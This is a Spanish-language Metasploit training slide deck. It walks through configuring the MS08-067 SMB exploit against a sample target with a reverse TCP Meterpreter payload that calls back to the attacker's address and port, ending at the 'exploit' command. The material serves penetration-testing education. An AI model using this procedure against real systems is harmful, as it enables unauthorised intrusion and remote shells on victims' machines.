Está en la página 1de 38

Fundamentos de

Metasploit Framework (MSF)


Por: Carlos Antonio Leal S.
Agenda
• Teminologia común
• ¿Qué es Metasploit Framework?
• Arquitectura de MSF
• Familiarización con los componentes
• Configuración incial
• MSF Console
Terminología común
• Vulnerabilidad
• Un método de interacción que permite que ocurra una acción involuntaria en respuesta a
una entrada inesperada, inválida o no contabilizada de alguna forma.
• Exploit (‘sploit)
• Una pieza de código diseñada para explotar una vulnerabilidad para permitir una acción
involuntaria.
• Tipos
• Hay tres tipos de módulos clave en Metasploit:
• Módulos de explotación: aprovechan las vulnerabilidades para obtener un punto de apoyo inicial en el
sistema
• Módulos posteriores a la explotación: recopilan información, escalan privilegios o amplían el punto de
apoyo logrado a través de un módulo de explotación
• Módulos auxiliares: Los módulos auxiliares realizan funciones no relacionadas con la explotación.
Terminología común
• Common Vulnerabilities and Exposures (CVE) - Vulnerabilidades y exposiciones comunes
• Un CVE identifica de forma única una vulnerabilidad.
• Un solo parche o actualización puede corregir múltiples vulnerabilidades o
proporcionar una referencia específica del proveedor.
• Por ejemplo, MS08-067 fue la 67ª actualización de Microsoft en 2008, y se dirigió a
CVE-2008-4250 (la vulnerabilidad 4.250 a la que se le asignó una CVE pública en
2008). Los CVE son multiplataforma y proveedores cruzados.
• Encoder
• Un codificador ofusca (oculta) el código de explotación ( exploit u otro) para que sea
más difícil de detectar.
• Plataforma
• El sistema operativo afectado por un exploit.
Terminología común
• Payload
• En informática y telecomunicaciones la carga útil​(payload en inglés) es el conjunto de datos
transmitidos que es en realidad el mensaje enviado.
• La carga útil excluye las cabeceras o metadatos, que son enviados simplemente para facilitar la
entrega del mensaje.
• El término está tomado prestado del transporte de mercancías, donde carga útil se refiere a la
parte de la carga que se utiliza para costear el transporte.
• Payload en Seguridad
• En seguridad de computadoras, la carga útil se refiere a la parte del malware que realiza la acción
maliciosa.
• En el análisis de programas maliciosos como gusanos, virus o troyanos, se refiere a los resultados
del ataque del software.
• Ejemplos de cargas útiles podrían ser la destrucción de datos, mensajes ofensivos o correo
electrónico basura enviado a una gran cantidad de personas.
Terminología común
• Meterpreter
• La navaja suiza de los payload que permite la mejora modular, el enrutamiento, la
explotación secundaria y el control. Una sólida primera opción.
• Sesión
• Una conexión abierta a un sistema remoto a través del cual se pueden dirigir o enrutar
comandos, módulos o tráfico de red.
• Creds - Credenciales
• Una o más credenciales que Metasploit ha recuperado. Esto puede incluir hashes,
nombres de usuario / contraseñas, o incluso materiales de PKI.
• Botín
• Argot para cualquier cosa de valor que se recupera de un sistema (por ejemplo, creds).
¿Qué es el Metasploit Framework?
• El Metasploit Framework (MSF) es una forma de mezclar y combinar
fácilmente exploits con cargas útiles, y proporciona herramientas
adicionales para facilitar las actividades de explotación.
• Le permite conectarse a múltiples sistemas simultáneamente, usar un
lenguaje de control independiente de la plataforma, intentar la explotación
de scripts y militarizar exploits revelados de forma repetible / consistente.
• También proporciona un marco de gestión para el botín, un entorno
compartido para equipos y una amplia variedad de herramientas generales
(por ejemplo, editores de texto, consola Ruby, telnet, repositorios de
terceros, etc.).
¿Por qué usar MSF?
• Para dormir bien y no armarse contra cada uno de los exploits.
• Aprender sobre exploits, con ejemplos de trabajo
• Realizar pruebas de penetración en modo sigiloso
• Fácilmente repetible
• Tu shellcode no es un nivel ninja, y no puedes encontrar la manera de
comprimir payloads de varias etapas en 24 bytes
• Quieres ser como todos los niños geniales (parecen encajar)
Arquitectura de MSF
• En su estado más básico, el Metasploit Framework es solo un
programa de Ruby que carga módulos e información en tiempo de
ejecución y luego controla los procesos engendrados.
• Los usos más avanzados incluyen una base de datos para el back-end
(que acelera los tiempos de búsqueda, hace que el almacenamiento
del botín sea persistente, etc.) y un daemon que permite que
múltiples usuarios interactúen con sistemas / sesiones
comprometidos y datos recuperados al mismo tiempo.
Arquitectura de MSF
Component Familiarity
• msfconsole:
• Es un shell interactivo para acceder virtualmente a toda la funcionalidad de MSF.
• Es el punto de partida más común para los nuevos usuarios de MSF, y proporciona funciones
integradas de búsqueda, ayuda y orientación.
• msfupdate
• La aplicación msfupdate se extiende a través de HTTPS a un repositorio común para actualizar
MSF.
• Si usa Kali Linux rolling (por ejemplo, 2017.x), generalmente no es necesario, ya que el proceso de
actualización del sistema operativo estándar incluye esto.
• msfdb
• La aplicación msfdb controla un backend de base de datos PostgreSQL.
• msfd
• La aplicación msfd es un daemon para permitir el acceso compartido de MSF.
Configuración Inicial
• Configura la base de datos
• msfdb start
• Inicializar la base de datos (solo por primera vez)
• msfdb init
• Actualice su instancia de MSF
• msfupdate
• (Opcional) Inicie el msfd para compartir un entorno
• msfd
• Comience la msfconsole
• msfconsole
MSF Console - Navegación
• Antes de comenzar, tenemos que saber dónde estamos. MSF utiliza una
jerarquía definida para realizar un seguimiento de las ubicaciones lógicas, que
se divide en:
Tipos/plataforma/sub-plataforma/nombre

• Por ejemplo la ruta “exploit/windows/smb/smb_relay” significa que estamos


tratando con un exploit que apunta a SMB en Windows, y es el exploit
smb_relay.
• Esto se muestra en el símbolo del sistema de msfconsole, y está en blanco
cuando no se selecciona nada:
• msf > #Nada seleccionado
• msf exploit(smb_relay) > #El exploit de arriba seleccinado
MSF Console - Navegación
• Ahora que sabemos cómo encontrar dónde estamos, busquemos un
exploit para usar. Para empezar, busquemos una carga útil para MS08-
067, que es una vulnerabilidad de Windows para SMB.
• Para buscar un exploit, use el comando "buscar":
msf > search smb
Matching Modules
================

Name Disclosure Date Rank Description


---- --------------- ---- -----------
auxiliary/admin/smb/samba_symlink_traversal normal Samba Symlink...
{etc}
MSF Console - Navegación
• Eso no fue muy eficiente. Busquemos ayuda sobre cómo podemos hacerlo mejor.
msf > help search
Usage: search [keywords]
Keywords:
app : Modules that are client or server attacks
author : Modules written by this author
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
name : Modules with a matching descriptive name
platform : Modules affecting this platform
{etc}

• De acuerdo, probemos esa opción de “type" para reducirla a exploits.


MSF Console - Navegación
• Busquesmos solo exploits
msf > search type:exploit smb
Matching Modules
================

Name Disclosure Date Rank Description


---- --------------- ---- -----------
exploit/linux/samba/chain_reply Corrupti... 2010-06-16 good Samba chain_reply Mem…
{etc}

• Mejorando, pero aún hay demasiadas opciones. Sabemos que es para


Windows, ¡así que limitémonos aún más!
MSF Console - Navegación
• Busquemos solo "exploits" que sean efectivos contra Windows:
msf > search type:exploit platform:windows smb
Matching Modules
================

Name Disclosure Date Rank Description


---- --------------- ---- -----------
exploit/multi/http/struts_code_exec_classloader 2014-03-06 manual Apache Struts ClassLo…
{etc}

• Buscar exploits que se apliquen a múltiples plataformas


MSF Console - Navegación
• Veamos solo los exploits que coinciden con una vulnerabilidad:
msf > search cve:2008-4250
Matching Modules
================

Name Disclosure Date Rank Description


---- --------------- ---- -----------
exploit/windows/smb/ms08_067_netapi Stack Corr… 2008-10-28 great MS08-067 Microsoft…

• Perfecto
MSF Console – Usando exploits
• Ahora que hemos encontrado un exploit, vamos a "usarlo".
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

• Observe que el prompt se ha actualizado para mostrar qué exploit se


selecciona. Aprendamos más sobre este exploit:
msf exploit(ms08_067_netapi) > info
Name : MS08-067 Microsoft Server Service Relative Path Stack Corruption
Module : exploit/windows/smb/ms08_067_netapi
Platform : Windows
Privileged : Yes
{etc}
MSF Console – Usando exploits
• Desplazándonos hacia abajo, podemos ver varias secciones interesantes:
• Objetivos
• Opciones Básicas
• Restricciones de payload
• Objetivos nos permite especificar manualmente cuál es nuestro sistema
de destino, o utilizar la orientación automática (normalmente el valor
predeterminado) si no lo sabemos.
• Las opciones nos permiten especificar opciones específicas de exploits.
• Las restricciones payload son lo que permite a MSF elegir
automáticamente qué opciones de payload son viables para este exploit.
MSF Console – Usando exploits
• Vamos a establecer algunas opciones. Podemos ver un resumen conciso de las opciones disponibles
mediante el comando "mostrar":
msf exploit(ms08_067_netapi) > show options
Module Options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:
Id Name
-- ----
0 Automatic Targeting

• Entonces podemos establecer algunas cosas, incluido el host y el puerto de destino, y a qué objetivo.
MSF Console – Usando exploits
• Dejaremos el puerto configurado de manera predeterminada, pero
debemos configurar el host al que nos dirigiremos. Para esta
demostración usaremos una direción IP de una máquina física por
ejemplo 10.20.30.100:
• msf exploit(ms08_067_netapi) > set RHOST 10.20.30.100
RHOST => 10.20.30.100

• Eso es todo lo que necesitamos establecer. ¡A elegir una payload!


MSF Console – Usando exploits
• Veamos qué cargas útiles se admiten para este exploit en particular:
msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/custom normal Custom Payload
generic/debug_trap normal Generic x86 Debug Trap
{redacted…}
windows/meterpreter/reverse_tcp normal Windows Meterpreter (…

• Usaremos ese reverse_tcp meterpreter


MSF Console – Usando exploits
• Agregue la payload (la carga útil TCP Meterpreter inversa creará una
conexión desde el destino de regreso a su sistema y abrirá un shell
Meterpreter en el destino):
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
MSF Console – Usando exploits
• Ahora podemos ver opciones adicionales disponibles:
msf exploit(ms08_067_netapi) > show options
Module Options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.20.30.100 yes The target address
RPORT 445 yes The SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload Options (windows/meterpreter/reverse_tcp):


Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: ‘’, seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
(redacted…)
MSF Console – Usando exploits
• Vamos a configurar el LHOST a nuestra dirección IP (usaremos
10.20.30.200) y escogeremos un puerto menos obvio en el rango alto
para escuchar:
msf exploit(ms08_067_netapi) > set LHOST 10.20.30.200
LHOST => 10.20.30.200
msf exploit(ms08_067_netapi) > set LPORT 54321
LPORT => 54321
MSF Console – Usando exploits
• Una última "demostración de opciones"
msf exploit(ms08_067_netapi) > show options
Module Options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.20.30.100 yes The target address
RPORT 445 yes The SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload Options (windows/meterpreter/reverse_tcp):


Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: ‘’, seh, thread, process, none)
LHOST 10.20.30.200 yes The listen address
LPORT 54321 yes The listen port
(redacted…)
MSF Console – ¡Ataque!
• En este punto, todo está configurado y listo para funcionar ... así que
prepárense para la segunda parte, donde disparamos los misiles,
explotamos el sistema y comenzamos nuestro trabajo.
• Si estás haciendo esto en casa y tienes un sistema vulnerable en
cualquier dirección que establezcas como objetivo, puedes adelantar
simplemente escribiendo:
msf exploit(ms08_067_netapi) > exploit
Bonus - Comandos de consola
• Algunos comandos útiles o divertidos
Bonus Command: Advanced
• The “advanced” command shows literally hundreds of additional
options for the MSF that aren’t required in 99.99% of the cases.
• To see them all just type “advanced” and review a quite lengthy list
(specific to the exploit and/or payload you have selected)
• For example, while not generally needed this shows that the
ms08_067_netapi module can use a defined SMB username,
password, and domain.
Bonus Command: Banner
• Aren’t those banners that are randomly displayed when you start
Metasploit clever/funny/thought-provoking?
• Don’t you wish you could see one on demand when you’re waiting for
other things to happen?
• Type “banner” and get a new one anytime!
Bonus Command: setg
• When you specify a setting it’s specific to the module in which you set
it. In other words, if you configured the reverse_tcp payload module
from this training with an LHOST value of “10.20.30.200” and then
changed to the reverse_http payload you’d find that the LHOST value
is not set (since you only set it for the reverse_tcp payload).
• Use “setg” anywhere you normally might use “set” to make your
setting global.
• Use this only when you know that it’s truly global, however. Setting a
global port can cause binding conflicts, for instance.
Bonus Command: grep
• MSF natively supports grep, but the ordering is a bit off from what
you might expect. For example, if you were to do a case insensitive
search within the results of ”some command” for “some text” it uses
the following syntax:
• Linux
{some command} | grep -i {some text}
• MSF
grep -i {some text} {some command}
• Seem a bit counter-intuitive to you? See the next slide!
Bonus Command: {ANY OS COMMAND}
• Anything that you try to run that MSF doesn’t understand will be
passed to your underlying operating system for evaluation as well!
• Try a simple “whoami” or “ls -la” for example…
• … or how about ”{some command} | grep -i {some text}” instead? 
• You’ll see the following text, followed by the output of your
command:
[*] exec: {command}
{results}
Bonus Command: back
• Want to back out of a selection (wherever that may be), or out of a
managed session? Just type “back” and you’re done.
• For example:
msf exploit(ms08_067_netapi) > back
msf >
Bonus Command: help
• When in doubt, ask for help!
• Type it by itself (e.g. “help”) to get a list of commands and their
description.
• Type it followed by a command (e.g. “help grep”) to get detailed
information on the options and switches for that command.
• Type it followed by itself (e.g. ”help help”) for a fundamental truth.
¿Preguntas?
Otros recursos
• Metasploit Unleased:
• https://www.offensive-security.com/metasploit-unleashed/
• Metasploit: The Penetration Tester’s Guide
• https://www.amazon.com/Metasploit-Penetration-Testers-David-Kennedy/dp/159327288X
• Metasploit Social Media
• https://twitter.com/metasploit (Official account)
• https://twitter.com/egyp7 (James Lee, lead exploit developer/coder for MSF)
• https://twitter.com/jduck (Josh Drake, former exploit developer for MSF)
• Hermit
• https://twitter.com/hermit_hacker
• https://www.cryptolingus.net/
• https://www.stackattack.net/blog/

También podría gustarte